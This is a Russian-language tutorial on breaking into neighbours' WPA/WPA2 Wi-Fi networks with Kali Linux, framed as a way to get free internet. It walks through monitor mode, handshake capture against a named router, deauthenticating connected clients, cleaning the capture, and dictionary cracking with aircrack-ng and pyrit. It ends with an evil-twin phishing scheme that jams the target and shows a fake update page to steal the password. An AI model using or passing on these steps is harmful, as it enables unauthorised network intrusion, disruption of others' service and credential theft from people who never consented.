Взлом WI-Fi c WPA и WPA2 с kali linux
Итак,как же получить бесплатный интернет от наших щедрых соседей?
Нам понадобится:
1) Естественно сама кали
2)Ноут с WI-FI ,или же ПК со встроенным модулем
3)Прямые руки и желание творить))
Для начала мы проверим доступные сетевые интерфейсы. Сделать это можно командой: iwconfig
При этом вы увидите похожую картинку:
В данном случае есть 2 доступных сетевых интерфейса, wlan0mon (о режиме мониторинга чуть позже) и wlan1 (wlan0).
После это шага есть несколько возможных путей:
- Путь попроще и для ленивых: использовать утилиту wifite
- Делать все ручками и сами
В первом случае вам потребуется всего лишь
-выбрать девайc с которого проводить атаку (сетевой интерфейс)
-выбрать атакуемую сеть
-далее утилита все сделает сама: либо захватит хендшейк если вы атакуете WPA сеть без WPS, либо будет производить атаку с помощью Pixie если WPS включен.
-на случай WPA, Wifite можно запустить указав словарь который он будет использовать для взлома хендшейка (wifite –dict wordlist.txt).
Когда мы убедились, что вайфай адаптер подключен и работает, нужно узнать сигнал каких сетей он ловит, один из вариантов, включить беспроводной интерфейс и произвести сканирование.
Для этого мы воспользуемся следующими командами:
ifconfig wlan1 up – в данном случае wlan1 это имя сетевого интерфейса
iwlist wlan1 scanning – сканирование с использованием интерфейса wlan1
и мы получим приблизительно такой вывод:
Нас интересует сразу несколько параметров:
Имя сети, MAC адрес, канал
Теперь давайте попробуем захватить хендшейк, для этого нам надо перевести сетевой интерфейс в режим мониторинга и захватить хендшейк.
Для перевода в режим мониторинга используется команда :
airmon-ng start wlan1 – при этом интерфейс поменяет имя на wlan1mon и перейдет в режим мониторинга (проверить это можно при помощи iwconfig), при этом вас может предупредить о том, что какие-то процессы могут этому мешать, не обращайте внимания, это нормально.
Для более аккуратного захвата хендшейка мы будем использовать информацию, которую мы получили при сканировании:
Airodump-ng wlan0mon –-bssid FC:8B:97:57:97:A9 –-channel 2 -–write handshake –-wps
wlan0mon – имя интерфейса
bssid FC:8B:97:57:97:A9 – MAC адресс роутера который мы взламываем
channel 2 – ограничение по каналу, на роутер который мы взламываем
write handshake – эта команда позволяет нам записать захваченную информацию в файлы с именем handshake
wps – отобразит наличие WPS у точки на случай если вы его упустили.
Вот так выглядит процесс захвата хендшейка.
Учитывая, что хендшейк происходит при подключении клиента к точке доступа, то нам необходимо либо подождать пока клиент подключиться к точке доступа (например придя домой, в офис, или включив ноутбук/wifi) либо помочь клиенту пере подключиться к точке доступа используя деаунтефикацию и поимку хендшейка при последующем подключении. Пример деаунтефикации.
aireplay-ng -0 10 –a FC:8B:97:57:97:A9 –c 68:3E:34:15:39:9E wlan0mon
-0 — означает деаунтефикацию
10 – количество деаунтефикаций
-a FC:8B:97:57:97:A9 – MAC адрес точки доступа
–c 68:3E:34:15:39:9E – MAC адрес клиента
wlan0mon – используемый интерфейс
Когда вы поймаете хендшейк это отобразиться в правом верхнем углу.
Теперь, когда мы поймали хендшейк желательно его проверить, почистить убрав все лишнее и подобрать пароль.
Проверить можно несколькими способами:
1) с помощью утилиты cowpatty
cowpatty -r handshake-01.cap -c
-r указывает файл для проверки
-с указывает что нам надо проверить хендшейк а не взламывать его
Как мы видим на скриншоте в первом файле у нас не было правильно хендшейка, зато во втором был.
2) С помощью Wireshark
для этого надо открыть файл wireshark’om, это можно сделать как из терминала (wireshark handshake-01.cap) так и в ручную. При этом вы увидите большое количество пакетов. Давайте отфильтруем пакеты хендшейка с помощью фильтра:
eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08
и нажать apply
теперь нам требуется оставить броадкаст точки доступа, и первые 2 пакета хендшейка, убрав все остальное. При этом надо следить чтобы у первых 2х пакетов номер не слишком отличались, чтобы они были из одного хендшейка.
При этом можно выделить броадскаст и 2 первых пакета и сохранить их отдельно.
3) самый простой способ — это утилита WPAclean.
wpaclean handshake-01.cap wpacleaned.cap
handshake-01.cap — это файл источник из которого будет браться хендшейк
wpacleaned.cap — это файл куда будет записываться очищеный хендшейк.
Как мы видим вывод программы несколько разный, это связанно с тем что в первом файле не было всей необходимой информации.
Теперь, когда у нас есть правильный очищенный хендшейк, нам остается его расшифровать.
Для получения пароля от Wi-Fi нам потребуется найти пароль, при использовании которого хеши для 2х наших хендшейков совпадут. Для этого можно использовать словарь или подбирать по символам. Если у вас не суперкомпьютер, то этот вариант вам вряд ли подойдет, так как количество вариантов — это количество допустимых символов в степени количества знаков пароля (~130^8 для 8 значного пароля). Применять подбор по символам имеет смысл, если вы знаете кусочек пароля, который сократит количество вариантов, или ограничение пароля (например, что там только цифры, или он совпадает с мобильным телефоном в вашей области). Сейчас мы будем подбирать пароль по словарю.
Мы можем расшифровывать хендшейк при помощи CPU или GPU. Обычно, если у вас мощная видеокарта, то при помощи GPU быстрее.
Для расшифровки с помощью CPU мы воспользуемся aircrack
aircrack-ng wpacleaned.cap –w wordlist.txt
wpacleaned – это наш очищенный и проверенный хендшейк
-w wordlist.txt – это наш словарь, по которому мы и будем подбирать пароль
Если пароль будет в словаре, то через некоторое время подбора вы увидите соответствующее сообщение:
В котором будет указан ваш пароль. Или же сообщение о том, что словарь закончился, а пароль так и не найден.
Утилита для взлома через GPU называется pyrit обладает гораздо большими возможностями и тонкой настройкой, но о них как-нибудь в следующий раз, сейчас мы просто попробуем подобрать пароль для хендшейка с нашим конкретным словарем.
pyrit –r wpacleaned.cap –i wordlist.txt attack_passthrough
-r wpaclean.cap – файл хендшейка
-I wordlist.txt – файл словаря
Если это не помогло:
Можно попытаться применить смесь социальной инженерии и атаки на Wi-Fi, для этого есть 2 утилиты:
А) Linset
Б) Wifiphisher
Для wifiphisher нам понадобиться 2 вайфай адаптера. Вкратце это происходит так:
- С помощью 1 адаптера мы глушим точки цели
- На втором адаптере мы поднимаем открытую точку с таким же именем
- Когда цель не сможет подключиться и использовать свою точку, она возможно подключится к нашей
- У цели выпадет «похожее» на правдивое окошко где попросят ввести пароль от вайфая для того чтобы роутер закончил обновление.
При этом правильность введенного пароля для обновления не проверяется.
Linset осуществляет работу подобным образом. Но ключевая особенность этой утилиты, в том, что она на испанском, английской и тем более русской версии нету, к сожалению у меня она не запустилась